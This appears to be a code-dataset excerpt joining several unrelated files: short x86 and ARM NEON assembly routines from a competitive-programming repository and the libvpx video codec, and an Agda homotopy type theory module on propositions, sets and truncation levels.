test2 = IsDecEquivalenceWithImplicits.refl
|
popcnt.asm | moskupols/competitive-stl-extensions | 3 | 240259 | main:
xor eax, eax
popcnt eax, edi
ret
|
videocodec/libvpx_internal/libvpx/vp8/encoder/arm/neon/vp8_shortwalsh4x4_neon.asm | Omegaphora/hardware_intel_common_omx-components | 49 | 23283 | ;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
EXPORT |vp8_short_walsh4x4_neon|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
;void vp8_short_walsh4x4_neon(short *input, short *output, int pitch)
; r0 short *input,
; r1 short *output,
; r2 int pitch
|vp8_short_walsh4x4_neon| PROC
vld1.16 {d0}, [r0@64], r2 ; load input
vld1.16 {d1}, [r0@64], r2
vld1.16 {d2}, [r0@64], r2
vld1.16 {d3}, [r0@64]
;First for-loop
;transpose d0, d1, d2, d3. Then, d0=ip[0], d1=ip[1], d2=ip[2], d3=ip[3]
vtrn.32 d0, d2
vtrn.32 d1, d3
vmov.s32 q15, #3 ; add 3 to all values
vtrn.16 d0, d1
vtrn.16 d2, d3
vadd.s16 d4, d0, d2 ; ip[0] + ip[2]
vadd.s16 d5, d1, d3 ; ip[1] + ip[3]
vsub.s16 d6, d1, d3 ; ip[1] - ip[3]
vsub.s16 d7, d0, d2 ; ip[0] - ip[2]
vshl.s16 d4, d4, #2 ; a1 = (ip[0] + ip[2]) << 2
vshl.s16 d5, d5, #2 ; d1 = (ip[1] + ip[3]) << 2
vshl.s16 d6, d6, #2 ; c1 = (ip[1] - ip[3]) << 2
vceq.s16 d16, d4, #0 ; a1 == 0
vshl.s16 d7, d7, #2 ; b1 = (ip[0] - ip[2]) << 2
vadd.s16 d0, d4, d5 ; a1 + d1
vmvn d16, d16 ; a1 != 0
vsub.s16 d3, d4, d5 ; op[3] = a1 - d1
vadd.s16 d1, d7, d6 ; op[1] = b1 + c1
vsub.s16 d2, d7, d6 ; op[2] = b1 - c1
vsub.s16 d0, d0, d16 ; op[0] = a1 + d1 + (a1 != 0)
;Second for-loop
;transpose d0, d1, d2, d3, Then, d0=ip[0], d1=ip[4], d2=ip[8], d3=ip[12]
vtrn.32 d1, d3
vtrn.32 d0, d2
vtrn.16 d2, d3
vtrn.16 d0, d1
vaddl.s16 q8, d0, d2 ; a1 = ip[0]+ip[8]
vaddl.s16 q9, d1, d3 ; d1 = ip[4]+ip[12]
vsubl.s16 q10, d1, d3 ; c1 = ip[4]-ip[12]
vsubl.s16 q11, d0, d2 ; b1 = ip[0]-ip[8]
vadd.s32 q0, q8, q9 ; a2 = a1 + d1
vadd.s32 q1, q11, q10 ; b2 = b1 + c1
vsub.s32 q2, q11, q10 ; c2 = b1 - c1
vsub.s32 q3, q8, q9 ; d2 = a1 - d1
vclt.s32 q8, q0, #0
vclt.s32 q9, q1, #0
vclt.s32 q10, q2, #0
vclt.s32 q11, q3, #0
; subtract -1 (or 0)
vsub.s32 q0, q0, q8 ; a2 += a2 < 0
vsub.s32 q1, q1, q9 ; b2 += b2 < 0
vsub.s32 q2, q2, q10 ; c2 += c2 < 0
vsub.s32 q3, q3, q11 ; d2 += d2 < 0
vadd.s32 q8, q0, q15 ; a2 + 3
vadd.s32 q9, q1, q15 ; b2 + 3
vadd.s32 q10, q2, q15 ; c2 + 3
vadd.s32 q11, q3, q15 ; d2 + 3
; vrshrn? would add 1 << 3-1 = 2
vshrn.s32 d0, q8, #3
vshrn.s32 d1, q9, #3
vshrn.s32 d2, q10, #3
vshrn.s32 d3, q11, #3
vst1.16 {q0, q1}, [r1@128]
bx lr
ENDP
END
|
Agda/10-truncation-levels.agda | hemangandhi/HoTT-Intro | 0 | 3185 | {-# OPTIONS --without-K --exact-split #-}
module 10-truncation-levels where
import 09-fundamental-theorem
open 09-fundamental-theorem public
-- Section 8.1 Propositions
is-prop :
{i : Level} (A : UU i) → UU i
is-prop A = (x y : A) → is-contr (Id x y)
{- We introduce the universe of all propositions. -}
UU-Prop :
(l : Level) → UU (lsuc l)
UU-Prop l = Σ (UU l) is-prop
type-Prop :
{l : Level} → UU-Prop l → UU l
type-Prop P = pr1 P
is-prop-type-Prop :
{l : Level} (P : UU-Prop l) → is-prop (type-Prop P)
is-prop-type-Prop P = pr2 P
{- The empty type is a proposition. -}
abstract
is-prop-empty : is-prop empty
is-prop-empty ()
abstract
is-prop-unit : is-prop unit
is-prop-unit = is-prop-is-contr is-contr-unit
unit-Prop : UU-Prop lzero
unit-Prop = pair unit is-prop-unit
is-prop' :
{i : Level} (A : UU i) → UU i
is-prop' A = (x y : A) → Id x y
abstract
is-prop-is-prop' :
{i : Level} {A : UU i} → is-prop' A → is-prop A
is-prop-is-prop' {i} {A} H x y =
pair
( (inv (H x x)) ∙ (H x y))
( ind-Id x
( λ z p → Id ((inv (H x x)) ∙ (H x z)) p)
( left-inv (H x x)) y)
abstract
is-prop'-is-prop :
{i : Level} {A : UU i} → is-prop A → is-prop' A
is-prop'-is-prop H x y = pr1 (H x y)
abstract
is-contr-is-prop-inh :
{i : Level} {A : UU i} → is-prop A → A → is-contr A
is-contr-is-prop-inh H a = pair a (is-prop'-is-prop H a)
abstract
is-prop-is-contr-if-inh :
{i : Level} {A : UU i} → (A → is-contr A) → is-prop A
is-prop-is-contr-if-inh H x y = is-prop-is-contr (H x) x y
is-subtype :
{i j : Level} {A : UU i} (B : A → UU j) → UU (i ⊔ j)
is-subtype B = (x : _) → is-prop (B x)
double-structure-swap :
{l1 l2 l3 : Level} (A : UU l1) (B : A → UU l2) (C : A → UU l3) →
Σ (Σ A B) (λ t → C (pr1 t)) → Σ (Σ A C) (λ t → B (pr1 t))
double-structure-swap A B C (pair (pair a b) c) = (pair (pair a c) b)
htpy-double-structure-swap :
{l1 l2 l3 : Level} (A : UU l1) (B : A → UU l2) (C : A → UU l3) →
((double-structure-swap A C B) ∘ (double-structure-swap A B C)) ~ id
htpy-double-structure-swap A B C (pair (pair a b) c) =
eq-pair (eq-pair refl refl) refl
is-equiv-double-structure-swap :
{l1 l2 l3 : Level} (A : UU l1) (B : A → UU l2) (C : A → UU l3) →
is-equiv (double-structure-swap A B C)
is-equiv-double-structure-swap A B C =
is-equiv-has-inverse
( double-structure-swap A C B)
( htpy-double-structure-swap A C B)
( htpy-double-structure-swap A B C)
{- The following is a general construction that will help us show that
the identity type of a subtype agrees with the identity type of the
original type. We already know that the first projection of a family of
propositions is an embedding, but the following lemma still has its uses. -}
abstract
is-contr-total-Eq-substructure :
{l1 l2 l3 : Level} {A : UU l1} {B : A → UU l2} {P : A → UU l3} →
is-contr (Σ A B) → (is-subtype P) → (a : A) (b : B a) (p : P a) →
is-contr (Σ (Σ A P) (λ t → B (pr1 t)))
is-contr-total-Eq-substructure {A = A} {B} {P}
is-contr-AB is-subtype-P a b p =
is-contr-is-equiv
( Σ (Σ A B) (λ t → P (pr1 t)))
( double-structure-swap A P B)
( is-equiv-double-structure-swap A P B)
( is-contr-is-equiv'
( P a)
( left-unit-law-Σ-map-gen (λ t → P (pr1 t)) is-contr-AB (pair a b))
( is-equiv-left-unit-law-Σ-map-gen _ is-contr-AB (pair a b))
( is-contr-is-prop-inh (is-subtype-P a) p))
Eq-total-subtype :
{l1 l2 : Level} {A : UU l1} {B : A → UU l2} → is-subtype B →
(Σ A B) → (Σ A B) → UU l1
Eq-total-subtype is-subtype-B p p' = Id (pr1 p) (pr1 p')
reflexive-Eq-total-subtype :
{l1 l2 : Level} {A : UU l1} {B : A → UU l2} (is-subtype-B : is-subtype B) →
(p : Σ A B) → Eq-total-subtype is-subtype-B p p
reflexive-Eq-total-subtype is-subtype-B (pair x y) = refl
Eq-total-subtype-eq :
{l1 l2 : Level} {A : UU l1} {B : A → UU l2} (is-subtype-B : is-subtype B) →
(p p' : Σ A B) → Id p p' → Eq-total-subtype is-subtype-B p p'
Eq-total-subtype-eq is-subtype-B p .p refl =
reflexive-Eq-total-subtype is-subtype-B p
is-contr-total-Eq-total-subtype :
{l1 l2 : Level} {A : UU l1} {B : A → UU l2} (is-subtype-B : is-subtype B) →
(p : Σ A B) → is-contr (Σ (Σ A B) (Eq-total-subtype is-subtype-B p))
is-contr-total-Eq-total-subtype is-subtype-B (pair x y) =
is-contr-total-Eq-substructure
( is-contr-total-path x)
( is-subtype-B)
x refl y
is-equiv-Eq-total-subtype-eq :
{l1 l2 : Level} {A : UU l1} {B : A → UU l2} (is-subtype-B : is-subtype B) →
(p p' : Σ A B) → is-equiv (Eq-total-subtype-eq is-subtype-B p p')
is-equiv-Eq-total-subtype-eq is-subtype-B p =
fundamental-theorem-id p
( reflexive-Eq-total-subtype is-subtype-B p)
( is-contr-total-Eq-total-subtype is-subtype-B p)
( Eq-total-subtype-eq is-subtype-B p)
eq-subtype :
{l1 l2 : Level} {A : UU l1} {B : A → UU l2} (is-subtype-B : is-subtype B) →
{p p' : Σ A B} → Eq-total-subtype is-subtype-B p p' → Id p p'
eq-subtype is-subtype-B {p} {p'} =
inv-is-equiv (is-equiv-Eq-total-subtype-eq is-subtype-B p p')
-- Section 8.2 Sets
is-set :
{i : Level} → UU i → UU i
is-set A = (x y : A) → is-prop (Id x y)
UU-Set :
(i : Level) → UU (lsuc i)
UU-Set i = Σ (UU i) is-set
type-Set :
{l : Level} → UU-Set l → UU l
type-Set X = pr1 X
is-set-type-Set :
{l : Level} (X : UU-Set l) → is-set (type-Set X)
is-set-type-Set X = pr2 X
axiom-K :
{i : Level} → UU i → UU i
axiom-K A = (x : A) (p : Id x x) → Id refl p
abstract
is-set-axiom-K :
{i : Level} (A : UU i) → axiom-K A → is-set A
is-set-axiom-K A H x y =
is-prop-is-prop' (ind-Id x (λ z p → (q : Id x z) → Id p q) (H x) y)
abstract
axiom-K-is-set :
{i : Level} (A : UU i) → is-set A → axiom-K A
axiom-K-is-set A H x p =
( inv (contraction (is-contr-is-prop-inh (H x x) refl) refl)) ∙
( contraction (is-contr-is-prop-inh (H x x) refl) p)
abstract
is-equiv-prop-in-id :
{i j : Level} {A : UU i}
(R : A → A → UU j)
(p : (x y : A) → is-prop (R x y))
(ρ : (x : A) → R x x)
(i : (x y : A) → R x y → Id x y) →
(x y : A) → is-equiv (i x y)
is-equiv-prop-in-id R p ρ i x =
fundamental-theorem-id-retr x (i x)
(λ y → pair
(ind-Id x (λ z p → R x z) (ρ x) y)
((λ r → is-prop'-is-prop (p x y) _ r)))
abstract
is-prop-is-equiv :
{i j : Level} {A : UU i} (B : UU j) (f : A → B) (E : is-equiv f) →
is-prop B → is-prop A
is-prop-is-equiv B f E H x y =
is-contr-is-equiv _ (ap f {x} {y}) (is-emb-is-equiv f E x y) (H (f x) (f y))
abstract
is-prop-is-equiv' :
{i j : Level} (A : UU i) {B : UU j} (f : A → B) (E : is-equiv f) →
is-prop A → is-prop B
is-prop-is-equiv' A f E H =
is-prop-is-equiv _ (inv-is-equiv E) (is-equiv-inv-is-equiv E) H
abstract
is-set-prop-in-id :
{i j : Level} {A : UU i} (R : A → A → UU j)
(p : (x y : A) → is-prop (R x y))
(ρ : (x : A) → R x x)
(i : (x y : A) → R x y → Id x y) →
is-set A
is-set-prop-in-id R p ρ i x y =
is-prop-is-equiv'
( R x y)
( i x y)
( is-equiv-prop-in-id R p ρ i x y) (p x y)
abstract
is-prop-Eq-ℕ :
(n m : ℕ) → is-prop (Eq-ℕ n m)
is-prop-Eq-ℕ zero-ℕ zero-ℕ = is-prop-unit
is-prop-Eq-ℕ zero-ℕ (succ-ℕ m) = is-prop-empty
is-prop-Eq-ℕ (succ-ℕ n) zero-ℕ = is-prop-empty
is-prop-Eq-ℕ (succ-ℕ n) (succ-ℕ m) = is-prop-Eq-ℕ n m
abstract
eq-Eq-ℕ : (n m : ℕ) → Eq-ℕ n m → Id n m
eq-Eq-ℕ = least-reflexive-Eq-ℕ Id (λ n → refl)
abstract
is-set-ℕ : is-set ℕ
is-set-ℕ =
is-set-prop-in-id
Eq-ℕ
is-prop-Eq-ℕ
refl-Eq-ℕ
eq-Eq-ℕ
set-ℕ : UU-Set lzero
set-ℕ = pair ℕ is-set-ℕ
-- Section 8.3 General truncation levels
data 𝕋 : UU lzero where
neg-two-𝕋 : 𝕋
succ-𝕋 : 𝕋 → 𝕋
neg-one-𝕋 : 𝕋
neg-one-𝕋 = succ-𝕋 (neg-two-𝕋)
zero-𝕋 : 𝕋
zero-𝕋 = succ-𝕋 (neg-one-𝕋)
one-𝕋 : 𝕋
one-𝕋 = succ-𝕋 (zero-𝕋)
ℕ-in-𝕋 : ℕ → 𝕋
ℕ-in-𝕋 zero-ℕ = zero-𝕋
ℕ-in-𝕋 (succ-ℕ n) = succ-𝕋 (ℕ-in-𝕋 n)
-- Probably it is better to define this where we first need it.
add-𝕋 : 𝕋 → 𝕋 → 𝕋
add-𝕋 neg-two-𝕋 neg-two-𝕋 = neg-two-𝕋
add-𝕋 neg-two-𝕋 (succ-𝕋 neg-two-𝕋) = neg-two-𝕋
add-𝕋 neg-two-𝕋 (succ-𝕋 (succ-𝕋 y)) = y
add-𝕋 (succ-𝕋 neg-two-𝕋) neg-two-𝕋 = neg-two-𝕋
add-𝕋 (succ-𝕋 neg-two-𝕋) (succ-𝕋 y) = y
add-𝕋 (succ-𝕋 (succ-𝕋 neg-two-𝕋)) y = y
add-𝕋 (succ-𝕋 (succ-𝕋 (succ-𝕋 x))) y = succ-𝕋 (add-𝕋 (succ-𝕋 (succ-𝕋 x)) y)
is-trunc : {i : Level} (k : 𝕋) → UU i → UU i
is-trunc neg-two-𝕋 A = is-contr A
is-trunc (succ-𝕋 k) A = (x y : A) → is-trunc k (Id x y)
1-type : (l : Level) → UU (lsuc l)
1-type l = Σ (UU l) (is-trunc one-𝕋)
_Truncated-Type_ : 𝕋 → (l : Level) → UU (lsuc l)
k Truncated-Type l = Σ (UU l) (is-trunc k)
abstract
is-trunc-succ-is-trunc :
{i : Level} (k : 𝕋) (A : UU i) →
is-trunc k A → is-trunc (succ-𝕋 k) A
is-trunc-succ-is-trunc neg-two-𝕋 A H = is-prop-is-contr H
is-trunc-succ-is-trunc (succ-𝕋 k) A H x y =
is-trunc-succ-is-trunc k (Id x y) (H x y)
truncated-type-succ-𝕋 :
(l : Level) (k : 𝕋) → k Truncated-Type l → (succ-𝕋 k) Truncated-Type l
truncated-type-succ-𝕋 l k (pair A is-trunc-A) =
pair A (is-trunc-succ-is-trunc k A is-trunc-A)
abstract
is-trunc-is-equiv :
{i j : Level} (k : 𝕋) {A : UU i} (B : UU j) (f : A → B) → is-equiv f →
is-trunc k B → is-trunc k A
is-trunc-is-equiv neg-two-𝕋 B f is-equiv-f H =
is-contr-is-equiv B f is-equiv-f H
is-trunc-is-equiv (succ-𝕋 k) B f is-equiv-f H x y =
is-trunc-is-equiv k (Id (f x) (f y)) (ap f {x} {y})
(is-emb-is-equiv f is-equiv-f x y) (H (f x) (f y))
abstract
is-set-is-equiv :
{i j : Level} {A : UU i} (B : UU j) (f : A → B) → is-equiv f →
is-set B → is-set A
is-set-is-equiv = is-trunc-is-equiv zero-𝕋
abstract
is-trunc-equiv :
{i j : Level} (k : 𝕋) {A : UU i} (B : UU j) (e : A ≃ B) →
is-trunc k B → is-trunc k A
is-trunc-equiv k B (pair f is-equiv-f) =
is-trunc-is-equiv k B f is-equiv-f
abstract
is-set-equiv :
{i j : Level} {A : UU i} (B : UU j) (e : A ≃ B) →
is-set B → is-set A
is-set-equiv = is-trunc-equiv zero-𝕋
abstract
is-trunc-is-equiv' :
{i j : Level} (k : 𝕋) (A : UU i) {B : UU j} (f : A → B) →
is-equiv f → is-trunc k A → is-trunc k B
is-trunc-is-equiv' k A f is-equiv-f is-trunc-A =
is-trunc-is-equiv k A
( inv-is-equiv is-equiv-f)
( is-equiv-inv-is-equiv is-equiv-f)
( is-trunc-A)
abstract
is-set-is-equiv' :
{i j : Level} (A : UU i) {B : UU j} (f : A → B) → is-equiv f →
is-set A → is-set B
is-set-is-equiv' = is-trunc-is-equiv' zero-𝕋
abstract
is-trunc-equiv' :
{i j : Level} (k : 𝕋) (A : UU i) {B : UU j} (e : A ≃ B) →
is-trunc k A → is-trunc k B
is-trunc-equiv' k A (pair f is-equiv-f) =
is-trunc-is-equiv' k A f is-equiv-f
abstract
is-set-equiv' :
{i j : Level} (A : UU i) {B : UU j} (e : A ≃ B) →
is-set A → is-set B
is-set-equiv' = is-trunc-equiv' zero-𝕋
abstract
is-trunc-succ-is-emb : {i j : Level} (k : 𝕋) {A : UU i} {B : UU j}
(f : A → B) → is-emb f → is-trunc (succ-𝕋 k) B → is-trunc (succ-𝕋 k) A
is-trunc-succ-is-emb k f Ef H x y =
is-trunc-is-equiv k (Id (f x) (f y)) (ap f {x} {y}) (Ef x y) (H (f x) (f y))
is-trunc-map :
{i j : Level} (k : 𝕋) {A : UU i} {B : UU j} → (A → B) → UU (i ⊔ j)
is-trunc-map k f = (y : _) → is-trunc k (fib f y)
trunc-map : {i j : Level} (k : 𝕋) (A : UU i) (B : UU j) → UU (i ⊔ j)
trunc-map k A B = Σ (A → B) (is-trunc-map k)
abstract
is-trunc-pr1-is-trunc-fam :
{i j : Level} (k : 𝕋) {A : UU i} (B : A → UU j) →
((x : A) → is-trunc k (B x)) → is-trunc-map k (pr1 {i} {j} {A} {B})
is-trunc-pr1-is-trunc-fam k B H x =
is-trunc-is-equiv k
( B x)
( fib-fam-fib-pr1 B x)
( is-equiv-fib-fam-fib-pr1 B x)
( H x)
trunc-pr1 :
{i j : Level} (k : 𝕋) {A : UU i} (B : A → k Truncated-Type j) →
trunc-map k (Σ A (λ x → pr1 (B x))) A
trunc-pr1 k B =
pair pr1 (is-trunc-pr1-is-trunc-fam k (λ x → pr1 (B x)) (λ x → pr2 (B x)))
abstract
is-trunc-fam-is-trunc-pr1 : {i j : Level} (k : 𝕋) {A : UU i} (B : A → UU j) →
is-trunc-map k (pr1 {i} {j} {A} {B}) → ((x : A) → is-trunc k (B x))
is-trunc-fam-is-trunc-pr1 k B is-trunc-pr1 x =
is-trunc-is-equiv k
( fib pr1 x)
( fib-pr1-fib-fam B x)
( is-equiv-fib-pr1-fib-fam B x)
( is-trunc-pr1 x)
abstract
is-trunc-map-is-trunc-ap : {i j : Level} (k : 𝕋) {A : UU i} {B : UU j}
(f : A → B) → ((x y : A) → is-trunc-map k (ap f {x = x} {y = y})) →
is-trunc-map (succ-𝕋 k) f
is-trunc-map-is-trunc-ap k f is-trunc-ap-f b (pair x p) (pair x' p') =
is-trunc-is-equiv k
( fib (ap f) (p ∙ (inv p')))
( fib-ap-eq-fib f (pair x p) (pair x' p'))
( is-equiv-fib-ap-eq-fib f (pair x p) (pair x' p'))
( is-trunc-ap-f x x' (p ∙ (inv p')))
abstract
is-trunc-ap-is-trunc-map : {i j : Level} (k : 𝕋) {A : UU i} {B : UU j}
(f : A → B) → is-trunc-map (succ-𝕋 k) f →
(x y : A) → is-trunc-map k (ap f {x = x} {y = y})
is-trunc-ap-is-trunc-map k f is-trunc-map-f x y p =
is-trunc-is-equiv' k
( Id (pair x p) (pair y refl))
( eq-fib-fib-ap f x y p)
( is-equiv-eq-fib-fib-ap f x y p)
( is-trunc-map-f (f y) (pair x p) (pair y refl))
is-prop-map : {i j : Level} {A : UU i} {B : UU j} (f : A → B) → UU (i ⊔ j)
is-prop-map f = (b : _) → is-trunc neg-one-𝕋 (fib f b)
abstract
is-emb-is-prop-map : {i j : Level} {A : UU i} {B : UU j} (f : A → B) →
is-prop-map f → is-emb f
is-emb-is-prop-map f is-prop-map-f x y =
is-equiv-is-contr-map
( is-trunc-ap-is-trunc-map neg-two-𝕋 f is-prop-map-f x y)
abstract
is-prop-map-is-emb : {i j : Level} {A : UU i} {B : UU j} (f : A → B) →
is-emb f → is-prop-map f
is-prop-map-is-emb f is-emb-f =
is-trunc-map-is-trunc-ap neg-two-𝕋 f
( λ x y → is-contr-map-is-equiv (is-emb-f x y))
abstract
is-emb-pr1-is-subtype : {i j : Level} {A : UU i} {B : A → UU j} →
is-subtype B → is-emb (pr1 {B = B})
is-emb-pr1-is-subtype {B = B} is-subtype-B =
is-emb-is-prop-map pr1
( λ x → is-trunc-is-equiv neg-one-𝕋
( B x)
( fib-fam-fib-pr1 _ x)
( is-equiv-fib-fam-fib-pr1 _ x)
( is-subtype-B x))
equiv-ap-pr1-is-subtype : {i j : Level} {A : UU i} {B : A → UU j} →
is-subtype B → {s t : Σ A B} → Id s t ≃ Id (pr1 s) (pr1 t)
equiv-ap-pr1-is-subtype is-subtype-B {s} {t} =
pair
( ap pr1)
( is-emb-pr1-is-subtype is-subtype-B s t)
abstract
is-subtype-is-emb-pr1 : {i j : Level} {A : UU i} {B : A → UU j} →
is-emb (pr1 {B = B}) → is-subtype B
is-subtype-is-emb-pr1 is-emb-pr1-B x =
is-trunc-is-equiv neg-one-𝕋
( fib pr1 x)
( fib-pr1-fib-fam _ x)
( is-equiv-fib-pr1-fib-fam _ x)
( is-prop-map-is-emb pr1 is-emb-pr1-B x)
is-fiberwise-trunc : {l1 l2 l3 : Level} (k : 𝕋) {A : UU l1} {B : A → UU l2}
{C : A → UU l3} (f : (x : A) → B x → C x) → UU (l1 ⊔ (l2 ⊔ l3))
is-fiberwise-trunc k f = (x : _) → is-trunc-map k (f x)
abstract
is-trunc-tot-is-fiberwise-trunc : {l1 l2 l3 : Level} (k : 𝕋)
{A : UU l1} {B : A → UU l2} {C : A → UU l3} (f : (x : A) → B x → C x) →
is-fiberwise-trunc k f → is-trunc-map k (tot f)
is-trunc-tot-is-fiberwise-trunc k f is-fiberwise-trunc-f (pair x z) =
is-trunc-is-equiv k
( fib (f x) z)
( fib-ftr-fib-tot f (pair x z))
( is-equiv-fib-ftr-fib-tot f (pair x z))
( is-fiberwise-trunc-f x z)
abstract
is-fiberwise-trunc-is-trunc-tot : {l1 l2 l3 : Level} (k : 𝕋)
{A : UU l1} {B : A → UU l2} {C : A → UU l3} (f : (x : A) → B x → C x) →
is-trunc-map k (tot f) → is-fiberwise-trunc k f
is-fiberwise-trunc-is-trunc-tot k f is-trunc-tot-f x z =
is-trunc-is-equiv k
( fib (tot f) (pair x z))
( fib-tot-fib-ftr f (pair x z))
( is-equiv-fib-tot-fib-ftr f (pair x z))
( is-trunc-tot-f (pair x z))
-- Exercises
-- Exercise 8.1
-- Exercise 8.1
diagonal : {l : Level} (A : UU l) → A → A × A
diagonal A x = pair x x
abstract
is-prop-is-equiv-diagonal : {l : Level} (A : UU l) →
is-equiv (diagonal A) → is-prop A
is-prop-is-equiv-diagonal A is-equiv-d =
is-prop-is-prop' ( λ x y →
let α = issec-inv-is-equiv is-equiv-d (pair x y) in
( inv (ap pr1 α)) ∙ (ap pr2 α))
eq-fib-diagonal : {l : Level} (A : UU l) (t : A × A) →
fib (diagonal A) t → Id (pr1 t) (pr2 t)
eq-fib-diagonal A (pair x y) (pair z α) = (inv (ap pr1 α)) ∙ (ap pr2 α)
fib-diagonal-eq : {l : Level} (A : UU l) (t : A × A) →
Id (pr1 t) (pr2 t) → fib (diagonal A) t
fib-diagonal-eq A (pair x y) β =
pair x (eq-pair-triv (pair refl β))
issec-fib-diagonal-eq : {l : Level} (A : UU l) (t : A × A) →
((eq-fib-diagonal A t) ∘ (fib-diagonal-eq A t)) ~ id
issec-fib-diagonal-eq A (pair x .x) refl = refl
isretr-fib-diagonal-eq : {l : Level} (A : UU l) (t : A × A) →
((fib-diagonal-eq A t) ∘ (eq-fib-diagonal A t)) ~ id
isretr-fib-diagonal-eq A .(pair z z) (pair z refl) = refl
abstract
is-equiv-eq-fib-diagonal : {l : Level} (A : UU l) (t : A × A) →
is-equiv (eq-fib-diagonal A t)
is-equiv-eq-fib-diagonal A t =
is-equiv-has-inverse
( fib-diagonal-eq A t)
( issec-fib-diagonal-eq A t)
( isretr-fib-diagonal-eq A t)
abstract
is-trunc-is-trunc-diagonal : {l : Level} (k : 𝕋) (A : UU l) →
is-trunc-map k (diagonal A) → is-trunc (succ-𝕋 k) A
is-trunc-is-trunc-diagonal k A is-trunc-d x y =
is-trunc-is-equiv' k
( fib (diagonal A) (pair x y))
( eq-fib-diagonal A (pair x y))
( is-equiv-eq-fib-diagonal A (pair x y))
( is-trunc-d (pair x y))
abstract
is-trunc-diagonal-is-trunc : {l : Level} (k : 𝕋) (A : UU l) →
is-trunc (succ-𝕋 k) A → is-trunc-map k (diagonal A)
is-trunc-diagonal-is-trunc k A is-trunc-A t =
is-trunc-is-equiv k
( Id (pr1 t) (pr2 t))
( eq-fib-diagonal A t)
( is-equiv-eq-fib-diagonal A t)
( is-trunc-A (pr1 t) (pr2 t))
-- Exercise 8.2
-- Exercise 8.2(a)
abstract
is-trunc-Σ : {l1 l2 : Level} (k : 𝕋) {A : UU l1} {B : A → UU l2} →
is-trunc k A → ((x : A) → is-trunc k (B x)) → is-trunc k (Σ A B)
is-trunc-Σ neg-two-𝕋 is-trunc-A is-trunc-B =
is-contr-Σ is-trunc-A is-trunc-B
is-trunc-Σ (succ-𝕋 k) {B = B} is-trunc-A is-trunc-B s t =
is-trunc-is-equiv k
( Σ (Id (pr1 s) (pr1 t)) (λ p → Id (tr B p (pr2 s)) (pr2 t)))
( pair-eq)
( is-equiv-pair-eq s t)
( is-trunc-Σ k
( is-trunc-A (pr1 s) (pr1 t))
( λ p → is-trunc-B (pr1 t) (tr B p (pr2 s)) (pr2 t)))
abstract
is-trunc-prod : {l1 l2 : Level} (k : 𝕋) {A : UU l1} {B : UU l2} →
is-trunc k A → is-trunc k B → is-trunc k (A × B)
is-trunc-prod k is-trunc-A is-trunc-B =
is-trunc-Σ k is-trunc-A (λ x → is-trunc-B)
abstract
is-prop-Σ : {l1 l2 : Level} {A : UU l1} {B : A → UU l2} →
is-prop A → is-subtype B → is-prop (Σ A B)
is-prop-Σ = is-trunc-Σ neg-one-𝕋
Σ-Prop :
{l1 l2 : Level} (P : UU-Prop l1) (Q : type-Prop P → UU-Prop l2) →
UU-Prop (l1 ⊔ l2)
Σ-Prop P Q =
pair
( Σ (type-Prop P) (λ p → type-Prop (Q p)))
( is-prop-Σ
( is-prop-type-Prop P)
( λ p → is-prop-type-Prop (Q p)))
abstract
is-prop-prod : {l1 l2 : Level} {A : UU l1} {B : UU l2} →
is-prop A → is-prop B → is-prop (A × B)
is-prop-prod = is-trunc-prod neg-one-𝕋
prod-Prop : {l1 l2 : Level} → UU-Prop l1 → UU-Prop l2 → UU-Prop (l1 ⊔ l2)
prod-Prop P Q =
pair
( type-Prop P × type-Prop Q)
( is-prop-prod (is-prop-type-Prop P) (is-prop-type-Prop Q))
abstract
is-set-Σ : {l1 l2 : Level} {A : UU l1} {B : A → UU l2} →
is-set A → ((x : A) → is-set (B x)) → is-set (Σ A B)
is-set-Σ = is-trunc-Σ zero-𝕋
set-Σ :
{l1 l2 : Level} (A : UU-Set l1) (B : pr1 A → UU-Set l2) → UU-Set (l1 ⊔ l2)
set-Σ (pair A is-set-A) B =
pair
( Σ A (λ x → (pr1 (B x))))
( is-set-Σ is-set-A (λ x → pr2 (B x)))
abstract
is-set-prod : {l1 l2 : Level} {A : UU l1} {B : UU l2} →
is-set A → is-set B → is-set (A × B)
is-set-prod = is-trunc-prod zero-𝕋
set-prod :
{l1 l2 : Level} (A : UU-Set l1) (B : UU-Set l2) → UU-Set (l1 ⊔ l2)
set-prod (pair A is-set-A) (pair B is-set-B) =
pair (A × B) (is-set-prod is-set-A is-set-B)
-- Exercise 8.2 (b)
abstract
is-trunc-Id : {l : Level} (k : 𝕋) {A : UU l} →
is-trunc k A → (x y : A) → is-trunc k (Id x y)
is-trunc-Id neg-two-𝕋 is-trunc-A = is-prop-is-contr is-trunc-A
is-trunc-Id (succ-𝕋 k) is-trunc-A x y =
is-trunc-succ-is-trunc k (Id x y) (is-trunc-A x y)
-- Exercise 8.2 (c)
abstract
is-trunc-map-is-trunc-domain-codomain : {l1 l2 : Level} (k : 𝕋) {A : UU l1}
{B : UU l2} {f : A → B} → is-trunc k A → is-trunc k B → is-trunc-map k f
is-trunc-map-is-trunc-domain-codomain k {f = f} is-trunc-A is-trunc-B b =
is-trunc-Σ k is-trunc-A (λ x → is-trunc-Id k is-trunc-B (f x) b)
-- Exercise 8.2 (d)
abstract
is-trunc-fam-is-trunc-Σ :
{l1 l2 : Level} (k : 𝕋) {A : UU l1} {B : A → UU l2} →
is-trunc k A → is-trunc k (Σ A B) → (x : A) → is-trunc k (B x)
is-trunc-fam-is-trunc-Σ k {B = B} is-trunc-A is-trunc-ΣAB x =
is-trunc-is-equiv' k
( fib pr1 x)
( fib-fam-fib-pr1 B x)
( is-equiv-fib-fam-fib-pr1 B x)
( is-trunc-map-is-trunc-domain-codomain k is-trunc-ΣAB is-trunc-A x)
-- Exercise 8.3
abstract
is-prop-Eq-𝟚 : (x y : bool) → is-prop (Eq-𝟚 x y)
is-prop-Eq-𝟚 true true = is-prop-unit
is-prop-Eq-𝟚 true false = is-prop-empty
is-prop-Eq-𝟚 false true = is-prop-empty
is-prop-Eq-𝟚 false false = is-prop-unit
abstract
eq-Eq-𝟚 : (x y : bool) → Eq-𝟚 x y → Id x y
eq-Eq-𝟚 true true star = refl
eq-Eq-𝟚 true false ()
eq-Eq-𝟚 false true ()
eq-Eq-𝟚 false false star = refl
abstract
is-set-bool : is-set bool
is-set-bool = is-set-prop-in-id Eq-𝟚 is-prop-Eq-𝟚 reflexive-Eq-𝟚 eq-Eq-𝟚
set-bool : UU-Set lzero
set-bool = pair bool is-set-bool
-- Exercise 8.4
